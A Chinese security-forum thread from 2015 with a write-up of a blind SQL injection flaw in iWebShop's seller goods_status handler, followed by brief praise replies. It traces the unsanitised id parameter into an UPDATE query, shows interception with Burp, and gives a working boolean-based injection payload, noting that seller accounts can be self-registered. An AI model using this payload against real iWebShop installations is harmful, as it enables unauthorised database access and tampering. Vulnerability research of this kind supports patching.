查看: 39797|回复: 57

iwebshop Blind injection(一弹)

[复制链接]
  • TA的每日心情

    2024-11-13 20:06
  • 签到天数: 1628 天

    [LV.Master]伴坛终老

    发表于 2015-4-1 11:52:43 | 显示全部楼层 |阅读模式
    作者:Joseph

    漏洞文件:\controllers\seller.php
    [PHP] 纯文本查看 复制代码
    public function goods_status()
            {
                $id        = IFilter::act(IReq::get('id'));
                    $is_del    = IFilter::act(IReq::get('is_del'),'int');
                    $is_del    = $is_del === 0 ? 3 : $is_del; //不能等于0直接上架
                    $seller_id = $this->seller['seller_id'];
     
                    $goodsDB = new IModel('goods');
                    $goodsDB->setData(array('is_del' => $is_del));
     
                if($id)
                    {
                            if(is_array($id))
                            {
                                    foreach($id as $key => $val)
                                    {
                                            $goodsDB->update("id = ".$val." and seller_id = ".$seller_id);
                                    }
                            }
                            else
                            {
                                    $goodsDB->update("id = ".$val." and seller_id = ".$seller_id);
                            }
                    }
                    $this->redirect("goods_list");
            }

    这里先用get函数获取我们的参数值,这里可以看见id参数没有声明类型,那说明我们可以控制,但后面又进入了一个act函数,跟入看下
    [PHP] 纯文本查看 复制代码
    public static function act($str,$type = 'string',$limitLen = false)
            {
                    if(is_array($str))
                    {
                            foreach($str as $key => $val)
                            {
                                    $resultStr[$key] = self::act($val, $type, $limitLen);
                            }
                            return $resultStr;
                    }
                    else
                    {
                            switch($type)
                            {
                                    case "int":
                                            return intval($str);
                                            break;
     
                                    case "float":
                                            return floatval($str);
                                            break;
     
                                    case "text":
                                            return self::text($str,$limitLen);
                                            break;
     
                                    case "bool":
                                            return (bool)$str;
                                            break;
     
                                    case "url":
                                            return self::clearUrl($str);
                                            break;
     
                                    case "filename":
                                            return self::fileName($str);
                                            break;
     
                                    default:
                                            return self::string($str,$limitLen);
                                            break;
                            }
                    }
            }

    简单的根据传入参数声明特定的类型进行特定的函数,若未声明进入自定义string过滤函数,看下过滤了什么
    [PHP] 纯文本查看 复制代码
    */
           public static function string($str,$limitLen = false)
           {
                   $str = trim($str);
                   $str = self::limitLen($str,$limitLen);
                   $str = htmlspecialchars($str,ENT_NOQUOTES);
                   return self::addSlash($str);
           }

    可以看见无非就是一些正常的函数过滤,也就是神马单引号加转义咯,
    但我们回到原本漏洞函数中看一下
    [PHP] 纯文本查看 复制代码
    $goodsDB->update("id = ".$val." and seller_id = ".$seller_id);

    很明显的注入,由id遍历出的值val只简单的进行了链接传入update而已
    那我们跟进update看下
    [PHP] 纯文本查看 复制代码
    */
           public function update($where,$except=array())
           {
                   echo $where;
                   $except = is_array($except) ? $except : array($except);
     
                   //获取更新数据
                   $tableObj  = $this->tableData;
                   $updateStr = '';
                   $where     = (strtolower($where) == 'all') ? '' : ' WHERE '.$where;
     
                   foreach($tableObj as $key => $val)
                   {
                           if($updateStr != '') $updateStr.=' , ';
                           if(!in_array($key,$except))
                                   $updateStr.= '`'.$key.'` = \''.$val.'\'';
                           else
                                   $updateStr.= '`'.$key.'` = '.$val;
                   }
                   $sql = 'UPDATE '.$this->tableName.' SET '.$updateStr.$where;
                   return $this->db->query($sql);
           }

    看完没有任何的过滤,那么到本地的站上去demo一下
    QQ截图20150401114904.jpg
    我们得先添加一个商品,我这里已经添加了
    QQ截图20150401114934.jpg
    点击下架,用burp抓包
    QQ截图20150401115015.jpg
    漏洞参数为post中的id参数,因为代码把错误屏蔽了,所以这个就只能盲注。我们可以fuzzing一下
    QQ截图20150401115054.jpg
    为了大家更好看到语句,我把执行输出了,这里可以看见我截取了版本的第一位是否为4,这里我的mysql版本肯定是5的,所以也就是错误的。
    QQ截图20150401115123.jpg
    可以看见这里还是待审,所以语句执行为假
    QQ截图20150401115152.jpg
    这里我把第一位改为了5,那么就是真咯
    QQ截图20150401115222.jpg

    可以看见商品成功下架

    [AppleScript] 纯文本查看 复制代码
    payload:id[]=1 and ASCII(substring(version(),1,1))=5--


    自己修改咯
    备注:这里是商铺权限,但可以注册的
    回复

    使用道具 举报

    该用户从未签到

    发表于 2015-4-2 22:26:51 | 显示全部楼层
    加油 顶你哦。
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    慵懒
    2019-4-14 17:44
  • 签到天数: 5 天

    [LV.2]偶尔看看I

    发表于 2015-6-28 04:08:56 | 显示全部楼层
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-6-29 20:06:34 | 显示全部楼层
    支持,看起来不错呢!
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-6-30 01:33:36 | 显示全部楼层
    感谢楼主的分享~
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-6-30 04:57:08 | 显示全部楼层
    学习学习技术,加油!
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-7-1 16:48:34 | 显示全部楼层
    支持中国红客联盟(ihonker.org)
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-7-1 17:18:36 | 显示全部楼层
    支持中国红客联盟(ihonker.org)
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-7-2 19:44:04 | 显示全部楼层
    支持,看起来不错呢!
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-7-3 01:53:09 | 显示全部楼层
    感谢楼主的分享~
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    指导单位

    江苏省公安厅

    江苏省通信管理局

    浙江省台州刑侦支队

    DEFCON GROUP 86025

    旗下站点

    邮箱系统

    应急响应中心

    红盟安全

    联系我们

    官方QQ群:112851260

    官方邮箱:security#ihonker.org(#改成@)

    官方核心成员

    Archiver|手机版|小黑屋| ( 苏ICP备2021031567号 )

    GMT+8, 2024-11-25 13:58 , Processed in 0.035069 second(s), 14 queries , Gzip On, MemCache On.

    Powered by ihonker.com

    Copyright © 2015-现在.

  • 返回顶部